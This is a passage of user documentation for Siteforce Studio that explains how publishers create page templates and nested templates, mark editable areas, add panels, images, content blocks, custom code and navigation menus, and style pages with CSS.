A page template lets you define the layout and functionality of site pages in one location. By adding common page elements to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. Page templates don't appear on your public site. As the template creator, you specify which elements users can edit in pages based on the template. By default, a page element in a template is locked, so users can't edit its contents in any template-based page unless you mark the page element as editable. Conversely, when users edit an editable page element in a template-based page, their changes are specific to that page and don't affect your template. For example, this main page template contains a non-editable header and navigation menu that are common to all the pages in the site (1). The main template also has an editable center panel (2) to house the page-specific content of each page that's based on it.

Note: Page templates must contain at least one editable page element. Otherwise, users can't edit site pages that are based on the template. Panels are ideal for adding editable areas to page templates.

You can use page templates to: Save time and effort by laying out the page structure and using it as a starting point when you create site pages. For example, you could design a template with a fixed header panel and side menu, and an editable center panel, to which you add page-specific page elements and content. Quickly make global updates to the layout or style of your website, as any changes you make to the template's design are reflected immediately in all the pages that use it. Control how other users (such as contributors or other publishers) can modify site pages. For example, you may allow contributors to edit specific content blocks only.

2081

Creating and Managing Pages

Siteforce Page Templates Overview

Ensure your template design remains pixel-perfect. When users edit a page that's based on a template, their changes don't affect your template. Reuse common design elements by creating nested templates. Allow contributors to create site pages that are based on the template.

About Nested Templates


Nested templates are a useful way to reuse common design elements for more complicated page layouts. For example, your website will probably have elements that are the same on every page in your site, such as a navigation menu. However, several pages may have elements that are common only to them, such as pages in a subsection of your site that include a subsection header. By using a nested template, which is a template that's based on another template, you can reuse the main template design. Using our main page template as a base, the nested template inherits the non-editable header and navigation menu (1), and an editable center panel (2) where we add the non-editable subsection header (3). We also need to add a new editable center panel (4) because the center panel of the main template is editable only in pages directly based on the main template.

Now, any page based on the nested template includes the non-editable main header, navigation menu, and subsection header, and an editable center panel (5) for that page's content.

Best Practices
Plan your site structure and the layout of your pages. Taking the time to plan your website first saves time when you build your site. Identify which elements are common to all the pages of your site, such as navigation menus or headers, as these are the elements you can add to the page template. Use page templates wherever possible to promote content reuse and save time.

2082

Creating and Managing Pages

Creating Siteforce Page Templates

Try to keep the design of your main page template as simple as possible to make it easier to modify in the future. For more complicated site designs, use nested templates to achieve maximum flexibility.

See Also:
Creating Siteforce Page Templates Creating Editable Template Areas Creating Site Pages as a Siteforce Publisher Identifying Which Template a Siteforce Page Uses Using Siteforce Studio as a Publisher

Creating Siteforce Page Templates


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

A page template lets you define the layout and functionality of site pages in one location. By adding common page elements to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. And because a template-based page inherits the template's elements, you can make site-wide changes from one location. You can create a page template from a layout, or if you've already created a template, you can use it as a base to create a nested template, which lets you reuse the design of the main template.

Creating a Page Template from a Layout


To start from scratch with a completely blank template or use a basic page layout: 1. 2. 3. 4. Click Create a Page or Template on the Overview tab. Click Create a page template. Enter the page name. Click A layout and select either a blank page or a predefined page layout, such as a page with a header and footer. Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to set their position, so you can easily modify the layout after the page is created. However, if you're familiar with CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the Code tab in the Style pane, and clicking Apply. 5. Choose a layout mode: To expand the page to fill the width of the browser window, click Full width. To set the page width, click Fixed width and enter the width.

2083

Creating and Managing Pages

Creating Siteforce Page Templates

6. Click Create. The page template opens. Next, you must complete the template. Tip: By default, any template you create is only available to other publishers in your organization. To let contributors create pages based on the template, select Available to Contributor in the Properties pane. You can also create templates by converting or duplicating other pages.

Creating a Nested Template


To use an existing template as a base for a nested template: The quickest option is to: 1. Select the template and click > Create Nested Template on the Overview tab. Click Page Actions > Create Nested Template if the template is open. 2. Enter the page name in the dialog box that appears. 3. Click Create. The nested template opens. Alternatively: 1. 2. 3. 4. 5. Click Create a Page or Template on the Overview tab. Click Create a page template. Enter the page name. Click A template and select the page template. Click Create. The nested page template opens.

Completing Your Template


Once you've created a template, you must take the next steps to complete it: Lay out the page template Add other page elements to the template Create editable areas Create template-based site pages

See Also:
Siteforce Page Templates Overview Understanding the Publisher's Page Editing View Using a Tracing Image for Page Layouts Identifying Which Template a Siteforce Page Uses Using Siteforce Studio as a Publisher

Creating Editable Template Areas

2084

Creating and Managing Pages

Creating Editable Template Areas

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

As the template creator, you specify which elements users can edit in pages based on the template. To make a page element editable, select it on the page template or in the Page Structure pane and click or select Editable in the Properties pane. > Make Editable,

When the page template is open, editable page elements are highlighted with a blue border on the page. They also display a pencil icon ( the page. ) in the Page Structure pane and in the information popup that appears when you hover over the element on

Consider these tips when creating editable areas: Users can't alter the events, style, or properties of an editable page element in pages based on the template. Users can't resize, reposition, or delete editable page elements in pages based on the template. However, if the element's Auto Height property is enabled in the template, it's height will adjust to fit the content of the template-based page. To make a panel editable, it must be empty. Otherwise publishers can't add content to that area in pages based on the template. Publishers can edit any page element you make editable. Contributors can modify editable content blocks in site pages based on the template. They can also edit content blocks that you place in an editable panel in template-based site pages. To add a content block that only other publishers can edit, use custom code instead. If you create a nested template, remember to add new editable areas to it. Editable page elements are editable only in pages directly based on the template.

See Also:
Creating Siteforce Page Templates Identifying Which Template a Siteforce Page Uses Siteforce Page Templates Overview

Creating Site Pages as a Siteforce Publisher

2085

Creating and Managing Pages

Creating Site Pages as a Siteforce Publisher

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When you create a site page, you can choose to base it on a page template. If you're creating several site pages that have common page elements, such as a navigation menu, you can save time and effort and achieve a consistent look and feel by creating a page template first and then basing your site pages on it. Alternatively, if none of your site pages have a similar structure or if you need to create a one-off site page that doesn't follow the overall site design, such as a home page, you can create a page based on a basic layout.

Creating Site Pages from a Layout


Start from scratch with a completely blank page or use a basic page layout. 1. 2. 3. 4. Click Create a Page or Template on the Overview tab. Click Create a site page. Enter the page name. Click A layout and select either a blank page or a predefined page layout, such as a page with a header and footer. Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to set their position, so you can easily modify the layout after the page is created. However, if you're familiar with CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the Code tab in the Style pane, and clicking Apply. 5. Choose a layout mode: To expand the page to fill the width of the browser window, click Full width. To set the page width, click Fixed width and enter the width.

6. Click Create. The site page opens.

Creating Site Pages from a Page Template


If you created a page template, you can base your site pages on it. The quickest option is to: 1. Select the template and click > Create Page from Template on the Overview tab. Click Page Actions > Create Page from Template if the template is open. 2. Enter the page name in the dialog box that appears. 3. Click Create. The site page opens. Alternatively: 1. Click Create a Page or Template on the Overview tab. 2. Click Create a site page.

2086

Creating and Managing Pages

Identifying Which Template a Siteforce Page Uses

3. Enter the page name. 4. Click A template and select the page template. 5. Click Create. The site page opens. Tip: You can also create pages by converting or duplicating other pages.

See Also:
Understanding the Publisher's Page Editing View Adding Siteforce Page Elements Using a Tracing Image for Page Layouts Using Siteforce Studio as a Publisher

Identifying Which Template a Siteforce Page Uses


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When you edit a template-based page, you can't modify its non-editable page elements. You also can't reposition, resize, or delete editable page elements, or alter the events, properties, or style associated with them. To update these elements or properties, you must edit them in the template the page is based on. To identify which page template a site page is based on: Hover over the site page on the Overview tab. An information popup appears that displays the page template's name.

When the page is open, check the Page Structure pane, which displays the template's name. To open the template, click its name.

2087

Creating and Managing Pages

Performing Common Page Actions

Tip: To view and open the site pages associated with a particular page template, select or hover over the page template on the Overview tab and click > Edit Pages Based on Template. Click a listed site page to open it.

See Also:
Creating Siteforce Page Templates Creating Editable Template Areas Siteforce Page Templates Overview

Performing Common Page Actions


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When working with pages and templates, you can perform common tasks, such as renaming, deleting, or duplicating pages. To access more options, select or hover over a page on the Overview tab and click . Alternatively, if the page is open, click Page Actions. The available options vary for pages and templates: Open the page or template for editing by clicking Edit. Alternatively, double-click the page or template. Change the page or template name by clicking Rename. View the page in a browser window by clicking Preview. Create a copy of the page or template by clicking Duplicate. Remove a page or template by clicking Delete. You can't delete a template that has pages based on it. Change the page into a template by clicking Convert Site Page to Template. Create a page based on the template by clicking Create Page from Template. Change the template into a page by clicking Convert Template to Site Page. You can't convert a template that has pages based on it.

2088

Creating and Managing Pages

Using a Tracing Image for Page Layouts

Create a nested template based on the selected template by clicking Create Nested Template. View and open the site pages that are based on the selected page template by clicking Edit Pages Based on Template.

See Also:
Understanding the Publisher's Page Editing View Using Siteforce Studio as a Publisher

Using a Tracing Image for Page Layouts


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

If your designer provides you with a full-scale mockup of the page design, you can use it as a background tracing image to create a pixel-perfect page layout. To use a tracing image as a guide when you lay out pages: 1. 2. 3. 4. Import the image. Open the page template or site page. Select the image in the Tracing Image list in the Properties pane. Resize the page elements to match the tracing image.

See Also:
Creating Siteforce Page Templates Creating Site Pages as a Siteforce Publisher

Importing and Using Assets

2089

Creating and Managing Pages

Importing and Using Assets

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

Both contributors and publishers can import a variety of assets, such as images and files, to use in a website. Tip: The quickest way to import one or more assets is to select the files and drag them onto the Siteforce Studio interface, which automatically uploads the files. (Not supported for Windows Internet Explorer.) Alternatively, to import a single asset: 1. 2. 3. 4. Click Import.... Click Browse... to locate the file. Select the file and click Open. Optionally: Select Overwrite existing files to replace a file that already exists in the site. If you're a publisher, select Convert CSS files into style sheets to convert a CSS file into a style sheet that you can use to style your website.

5. Click Upload. A message appears indicating whether the file was uploaded successfully. 6. Click Close. Note: The maximum file size you can upload is 50 MB. Supported file types include JPEG, JPG, PNG, BMP, GIF, TIFF, CSS, MP4, PDF, MOV, WMV, and Flash. You can't upload folders. Instead, upload the folder's contents.

Once imported, you can add images to the text of your site pages or create hyperlinks to the assets. If you're a publisher, you can add also add images directly to the page. View the list of imported assets in the Assets section on the Overview tab. To view a thumbnail of an imported image, hover over it. To save an asset to your computer, hover over or select it and click > Download.

2090

Creating and Managing Pages

Setting Site Properties

To remove an asset from your site if you're a publisher, hover over or select it and click appears if the asset is being used in your site.

> Delete. A warning message

See Also:
Adding Siteforce Page Elements Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

Setting Site Properties


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Set properties for the site, such as the home page, site name, and error page, and create an anonymous preview URL that allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress. 1. Click Site Properties on the Overview tab. 2. In the Site Properties dialog box, you can: Replace the name in the Site Name field to rename the site. Select Enable Anonymous Preview to create a URL that allows other users to preview the site before it goes live. (Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you can copy and send to other users to review and test your changes.) Enable Anonymous Preview is also available from the Preview menu on the Overview tab. Select the home page for your website in the Home Page drop-down list. Select a user-friendly error page (if you created one) in the 404 Page drop-down list to display when a page can't be found. It's a good idea to create a user-friendly error page to assist site visitors if they encounter a broken link.

3. Click Apply.

See Also:
Creating a Siteforce Site Using Siteforce Studio as a Publisher

2091

Adding Features and Page Elements

Siteforce Page Elements

ADDING FEATURES AND PAGE ELEMENTS


Siteforce Page Elements
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Page elements are the building blocks of your site pages and page templates. Combined, they provide the page's structure and content. When a site page or page template is open in Siteforce Studio, these page elements are available to publishers: Content BlockContains the page text, and can also house images, media, and hyperlinks. ImageAdds images directly to the page. PanelCreates page structure and groups page elements. Custom CodeCustomizes your site by letting you add HTML and markup for elements that aren't provided in Siteforce Studio. MenuCreates a menu that enables users to navigate through the pages of your site.

See Also:
Adding Siteforce Page Elements Editing and Working With Siteforce Page Elements

Adding Siteforce Page Elements


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Page elements are the building blocks of your site pages and page templates. Panel elements add structure to your pages. You can think of both pages and panels as containers for the page elements that you add to them. If a site page or page template is based on another page template, you can only add page elements to editable panels, which are highlighted with a blue border on the page.

2092

Adding Features and Page Elements

Adding Siteforce Page Elements

You can add page elements in several ways when the page is open: In the Page Elements pane, either: Drag the page element onto the page canvas or into a panel. Click the page element, select where to place it in the popup that appears, and click Apply. In the Page Structure pane, hover over a page or panel and click drag it onto the page or panel. Select a panel on the page and click > Add Page Elements. Click the page element or

> Add Page Elements. Click the page element or drag it into the panel to add it.

When you drag a page element into an editable panel, the page element displays a permitted icon and a green border shows where you're placing the element.

If you try dragging a page element into a panel that isn't editable, the page element displays a not-permitted icon.

See Also:
Editing and Working With Siteforce Page Elements Adding Images Directly to the Page Adding Content Blocks to Pages Laying Out Siteforce Pages Using Panels Adding Custom Code to Pages Adding a Navigation Menu Using a Tracing Image for Page Layouts

Editing and Working With Siteforce Page Elements

2093

Adding Features and Page Elements

Editing and Working With Siteforce Page Elements

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

The Page Structure ( ) pane displays the hierarchy of all elements on the page and is a very useful way of selecting, moving, and reordering elements, particularly for more complicated page designs. To select a page element, either click it on the page, or select it in the Page Structure pane. This highlights the element on the page and displays the item's selector bar and Actions menu ( ). To edit a page element, such as a content block, image, or custom code, either: Double-click the element on the page. Select the element on the page and click > Edit on its selector bar. Select or hover over the element in the Page Structure pane and click Click Edit Content on the toolbar (for content blocks only). To move a page element, either: Select the element on the page and drag it to the correct position, or click > Move on its selector bar. Drag the item to your preferred location in the Page Structure pane, or select it and click > Move > Direction. You can also drag all page elements other than panels to your preferred location in the Page Structure pane. To resize a page element, select it and drag the resize handles to the correct size. If the corner resize handles are grayed out, it means the item's Auto Height property is enabled, which adjusts the height depending on its contents. To resize it to a set height, disable the property by either deselecting Auto Height in the Properties pane, or by clicking one of the bottom resize handles and clicking Disable Auto Height in the popup message that appears. Alternatively, if you're using CSS to style the page element, adjust the style of the class or ID that styles it. To delete an element, select it and either: Click > Delete on the item's selector bar. Press DELETE. Click on the toolbar. > Delete.

> Edit.

In the Page Structure pane, click

If a site page or page template is based on another page template: Editable page elements are highlighted with a blue border on the page. You can't reposition or resize its page elements. However, if the element's Auto Height property is enabled in the template, the height will adjust to fit the content in the template-based page. To edit the page element, you must edit it in the page template.

2094

Adding Features and Page Elements

Laying Out Siteforce Pages Using Panels

You can't delete its page elements. To delete the page element, you must delete it from the page template. You can't alter the events, properties, or style of an editable page element, such as its color, position, and size.

See Also:
Siteforce Page Elements Adding Siteforce Page Elements Adding Content Blocks to Pages Adding Images Directly to the Page Laying Out Siteforce Pages Using Panels Adding Custom Code to Pages Adding a Navigation Menu

Laying Out Siteforce Pages Using Panels


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

A panel is a useful layout tool that defines the logical divisions of your page and lets you group page elements together for easy movement and positioning. Think of them as containers for other page elements, including other panels, or as divs that wrap around the content placed within them. Panels are ideal for adding editable areas to page templates. When you create a page template or site page, you can use predefined page layouts that include headers, footers, and columns, which are created using panels. Once created, you can then further modify the layout to match your site's design. If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column panels. This feature adds panels with predefined CSS positioning to ensure they align correctly on the page. Note: Predefined page layouts, and row and column panels use inline CSS to set their position. If you're familiar with CSS and are using CSS rules to style your site, you can remove the inline CSS by deleting it from the Code tab in the Style pane and clicking Apply. To add row and column panels to a page: 1. Select the page (the top folder icon) in the Page Structure pane. 2. Click > Add Rows and Column Panels. 3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new panel. To add a row panel:

2095

Adding Features and Page Elements

Laying Out Siteforce Pages Using Panels

Above a panel, select the panel on the page or in the Page Structure pane and click > Insert Row Above Below a panel, select the panel on the page or in the Page Structure pane and click > Insert Row Below

> Add Rows and Column Panels > Add Rows and Column Panels

To add row and column panels to another panel: 1. Select the panel on the page or in the Page Structure pane. 2. Click > Add Rows and Column Panels. 3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new panel. To add a single panel, drag a Panel from the Page Elements pane onto the page. By default, the height of a panel automatically adjusts when you add content to it because its Auto Height property is enabled. You can disable the property to resize and reposition panels. If you hover over a panel on the page, an information popup appears that displays the width and height of the panel.

When you drag a page element onto a panel, the edges change color, indicating that the element is now grouped within it. To remove the element from the group, drag it outside the panel. Tip: You can use a background tracing image as a guide when laying out page templates and site pages. You can use CSS properties to improve the layout and position of panels on the page.

See Also:
Adding Siteforce Page Elements Creating Siteforce Page Templates Creating Site Pages as a Siteforce Publisher Using Siteforce Studio as a Publisher

Positioning Panels Using CSS

2096

Adding Features and Page Elements

Positioning Panels Using CSS

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

A panel is a useful layout tool that defines the logical divisions of your page. Using CSS, you can position panels and improve the layout of the page.

Adding Padding and Margins to Panels


Two CSS propertiesmargins and paddingcan help with your page layout by creating space between the rows and columns, and the content within. The margin property controls the space outside the panel between its border and outer edge, while the padding property controls the space between the panel's content and border. To add margins and padding: 1. Select the panel. 2. Open the Dimensions section of the Style pane. 3. In the Margins section, either: Set the margin width for all four sides by entering a value in the All text box and selecting the unit of measurement. Set the margin widths for the top, right, bottom, or left sides independently by entering a value in the appropriate text box and selecting the unit of measurement.

4. Similarly, in the Padding section, set the padding widths as required. Adding padding increases the total width of the panel. For example, if you have a panel with a width of 500px and you add padding of 20px to all sides, the total width of the panel will be 540px. Tip: You can center a panel or block page element using the margin property. Enter 0 in the All text box and select Auto in the drop-down list.

Creating Column Panels Using the Float Property


If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column panels. Alternatively, using the CSS float property, you can position panels to the left or right to create columns. (When you add panels using the row and column panels feature, they're automatically positioned using the float property.) For example, you could add two single panels to a container panel and set both panel's float and width properties to create a two-column page layout. To create a column panel: 1. Select the panel. 2. Open the Layout section of the Style pane. 3. Click to float the panel to the left, or click to float the panel to the right. If you're creating a two-column layout, for example, ensure you set the float property of both panels.

2097

Adding Features and Page Elements

Adding Images Directly to the Page

4. Adjust the width of the panel to ensure the panels align correctly by either setting the width in the Dimensions section or dragging the panel's border on the page. For example, if you're creating two columns of equal width, set the width of both panels to 50%. Tip: When you use the float property, remember to set the overflow property of the container panel to hidden. This allows the container panel to grow as the height of the column panels increase. Select the container panel and in the Layout section of the Style pane, select Hidden in the Overflow drop-down list.

See Also:
Cascading Style Sheets Overview

Adding Images Directly to the Page


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

As a publisher, you can add images directly to your site pages and page templates or you can add them to content blocks. To add an image directly to the page: 1. Open the site page or page template. 2. Drag an Image from the Page Elements pane onto the page. 3. In the Add an Image dialog box, either: Find an existing image by typing its name in the Search Image text box and selecting it from the list. Upload an image from your computer by opening the Upload tab, browsing to the image, clicking Upload, and selecting it from the list.

4. Click Apply. The image is added to the page. 5. Enter a brief description of the image in the Alternative Text field in the Properties pane. The description is used by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).

See Also:
Adding Siteforce Page Elements Editing and Working With Siteforce Page Elements Siteforce Page Elements

2098

Adding Features and Page Elements

Adding Content Blocks to Pages

Adding Content Blocks to Pages


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Content blocks contain the text of your website pages, and can also house images, videos, and hyperlinks. Content blocks are the only page element that contributors can edit and modify on a site page. To add a content block, either drag it from the Page Elements pane onto the page or target a specific panel. To edit a content block, double-click it or click Edit Content. For greater control over the text, you can edit the HTML directly by selecting the content block and clicking > Edit HTML. To add a content block that only other publishers can edit, use custom code instead.

See Also:
Adding Images to Content Blocks Adding Hyperlinks to Text and Images Adding an Anchor to a Page Using Siteforce Studio as a Publisher

Adding Custom Code to Pages


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

You can add: Markup to a specific location on a page using the Custom Code page item Markup to the page head JavaScript to the page body

2099

Adding Features and Page Elements

Adding Custom Code to Pages

A reference to a JavaScript file or open-source JavaScript library in the page head or body Note: JavaScript in the page head loads first. JavaScript added using the Custom Code page item loads when that part of the page loads. JavaScript added to the page body is positioned at the end of the body tag and only loads when the DOM is ready. Scripts can't execute while you're editing a page in Siteforce Studio. To test your code, preview the page.

Adding Markup Directly to the Page


1. Drag a Custom Code page item from the Page Items panel onto the page. 2. Enter the markup in the Custom Code dialog box. 3. Click Save & Close to add the markup directly to the page. To edit custom code that's on the page, double-click the icon.

Adding Markup to the Page Head


1. Click Configure in the Edit Head Markup section of the Properties panel. 2. Enter the markup in the Edit HTML Code dialog box. 3. Click Save & Close to insert the markup into the page head.

Adding JavaScript to the Page Body


1. Click Configure in the Edit Body Scripts section of the Properties panel. 2. Enter the code in the Edit JavaScript Code dialog box. Don't add <script> tags, as they're already included. 3. Click Save & Close to add the code to the bottom of the page body.

Using JavaScript Files or Libraries


Instead of adding JavaScript code directly to a page, you can include links to imported or external JavaScript files, or to an open-source library (via the Google Libraries API). 1. Click in either the Body Scripts or the Head Scripts section of the Properties panel. 2. To link to: A JavaScript file that you've imported, select An imported script and select the file. An open-source JavaScript library, select A Google AJAX library and select the library. An external JavaScript file, select A URL to an external script and enter the address.

2100

Adding Features and Page Elements

About the Site Map and Page Hierarchy

3. Click Apply. Tip: You can use the Events tab to add JavaScript events to page items and pages.

See Also:
Adding Siteforce Page Elements Creating an Event Using Siteforce Studio as a Publisher

ADDING WEBSITE NAVIGATION


About the Site Map and Page Hierarchy
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The Site Pages section of the Overview tab contains the pages of your website. The Site Map folder reflects the hierarchy or tree structure of your site by housing site pages that are included in the site map. When you create new pages, they're automatically added to this folder. The Landing Pages folder houses standalone pages that are excluded from the site map, making it ideal for temporary pages, such as promotional or competition pages. When adding a navigation menu to your site, it's important to organize the hierarchy of your site pages accurately, because this structure is used to generate the menu. Pages are displayed in navigation menus in the order you arrange them. Because pages in the Landing Pages folder don't appear in navigation menus, site visitors can't access them unless you include a link to them from one of the pages in the Site Map folder. In this representation of the site hierarchy, you can more clearly see the tree structure of the pages.

2101

Adding Features and Page Elements

About the Site Map and Page Hierarchy

1. The Site Map folder, which contains four site pages. 2. A top-level page in the site hierarchy. 3. A top-level, parent page with two child pages. A child page is a page at a lower level in the site hierarchy than its parent page. 4. Two child pages. 5. The Landing Pages folder, which contains a temporary page that's not part of the site map or navigation menu. You can create a navigation menu from the pages in the Site Map folder, or you can nest pages underneath a page and create a navigation menu from its child pages. Tip: If a page has child pages, the icon appears beside it indicating that you can expand the branch.

See Also:
Adding a Navigation Menu Styling Navigation Menus Creating Site Pages as a Siteforce Publisher Using Siteforce Studio as a Publisher

Adding a Navigation Menu

2102

Adding Features and Page Elements

Adding a Navigation Menu

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Create a menu that's generated either from all the site pages in the Site Map folder on the Overview tab or from the child pages of a site page. 1. Arrange site pages in the Site Map folder in the order you want them to appear in the menu by dragging them to the desired location. Drag a page onto another page to make it a child of that page. Drag pages into the Landing Pages folder to exclude them from the site map. 2. Open the page template or site page that you want to add the navigation menu to. 3. Drag a Menu from the Page Elements pane onto the page. 4. By default, the site map is used to create the menu. To create the menu from just the child pages of a site page, select the site page in the Menu Source drop-down list in the Properties pane. 5. To alter the appearance of the menu, you can select a different theme from the Theme Name drop-down list. For example, to create a drop-down menu, select Horizontal Drop-down. You can modify the style of any theme to suit your needs. Tip: When you add a new page or rearrange the pages in the Site Map folder, the menu updates automatically to reflect the changes. To automatically include a menu on every site page, add the menu to a page template and base the site pages on it. Because pages in the Landing Pages folder don't appear in navigation menus, site visitors can't access them unless you include a link to them from one of the pages in the Site Map folder.

See Also:
About the Site Map and Page Hierarchy Styling Navigation Menus Adding Siteforce Page Elements Creating Site Pages as a Siteforce Publisher Using Siteforce Studio as a Publisher

Styling Navigation Menus

2103

Styling Your Website

Styling Navigation Menus

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

Navigation menus are styled using CSS themes that you can customize to match the design of your website. When you add a navigation menu to a page, it uses a default theme to control its appearance. Choose from other existing themes in the Theme Name drop-down list in the Properties pane. Alternatively, to customize a theme to suit your needs: 1. Select the navigation menu on the page. 2. Select a theme to use as a base in the Theme Name drop-down list in the Properties pane. Use a theme that most closely matches your site design or select Blank to start with a completely blank theme. 3. Open the Style pane and ensure Class is selected. 4. In the Style drop-down list, select the part of the menu that you want to style. When you select an item, it's highlighted for a few seconds, so you can easily see which part you're styling. Tip: If you're familiar with CSS, you can also modify the style of the menu in the site's style sheet.

5. To style the selected menu item, use the Style pane properties. Your changes are immediately reflected in the menu. 6. Repeat as required for each part of the menu.

See Also:
About the Site Map and Page Hierarchy Adding a Navigation Menu

STYLING YOUR WEBSITE


Cascading Style Sheets Overview

2104

Styling Your Website

Cascading Style Sheets Overview

Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Cascading Style Sheets (CSS) provide a flexible way to add style to the pages of your website. This collection of formatting rules governs the appearance of your pages, and lets you define the fonts, colors, layout, and other presentation features. By using CSS to control your fonts, you can ensure greater consistency in the appearance and layout of your pages in multiple browsers. Some of the many text properties that CSS lets you control include: Font family Font size Text color and background color Bold, italics, underlining, and text shadows Link color and link underlining

Using CSS, you can also position, add color to, float text around, and set margins and borders for block-level elements. A block-level element is a standalone piece of content that's visually formatted as a block. For example, content blocks (which are equivalent to p tags) and panels (which are the same as div tags) are both block-level elements.

About Inline Styles Versus Style Sheets


In Siteforce Studio, you can: Apply styles directly to a selected page or page element using the Inline option in the Style pane. Inline styles apply only to the selected item. Add style items such as CSS classes or IDs to a style sheet, and apply the style items to the selected page or page element. This approach separates the content (your web pages) from the presentation (the style sheet).

If youre not familiar with CSS, youll probably find the inline option the easiest to use and understand. However, inline styles lose many of the advantages of style sheets because they mix content with presentationthe inline style is only applied to that individual element. If you need to update the style of your site, you have to update the style properties of every affected page and page element. By contrast, although style sheets may be more difficult to understand, they enable you to make site-wide changes from one convenient location. When you update a style item in your style sheet, it immediately updates the style of every page or page element that uses it. Its worth taking the time to become familiar with CSS because it: Saves you time and effort when building and designing your site Produces cleaner, more consistent site designs Simplifies navigation for people with accessibility issues (such as those using screen readers)

For more information about using CSS and creating style sheets, go to the World Wide Web Consortium (W3C) at www.w3.org/Style/CSS. There are also many tutorials available on the Internet that provide in-depth CSS training.

About CSS Classes and IDs


When you use style sheets to style your site, you can redefine the formatting of HTML tags such as body or h1. You can also create CSS classes and IDs to define the style of particular elements, such as headers or repeating content. A CSS class lets you define and apply style properties to many elements on a page, whereas a CSS ID is ideal for targeting a single item on a

2105

Styling Your Website

Using the Style Pane

page. For example, in a page's structure, IDs are often used to define the header and footer areas, as each page has only one header or footer, but classes are used to define repeating page elements, such as a blog post.

Best Practices
Include a CSS reset in your style sheet to reset all style items to a baseline value. This helps avoid cross-browser differences due to their built-in default style settings. Use CSS classes and IDs instead of inline styles wherever possible. This promotes the separation of presentation and content, and makes it easier to updates the site's styles. Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use classes when there are one or more occurrences per page. Use groups to organize your CSS logically and make it easier to maintain your style sheet.

See Also:
Using the Style Pane Understanding the Style Sheet View in Siteforce Creating and Using CSS Style Sheets Creating Style Sheet Items and Groups

Using the Style Pane


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border style, as you work with pages and page elements. If you're using CSS classes or IDs to style your pages, you can modify or create style items directly from the Style pane, rather than opening the style sheet. To apply a style to a selected page or page item: 1. Open the Style pane. 2. To apply: An inline style, select Inline. Inline styles affect the selected item only and aren't included in a style sheet. A CSS class, select Class and start typing the name. If the class already exists in your style sheet, select it in the list that appears. To create a new class, type the name, select it, and click Yes to add it to the style sheet. A CSS ID, select ID and select it in the drop-down list. To create a new ID, click . , enter the ID name, and click

2106

Styling Your Website

Style Pane Properties

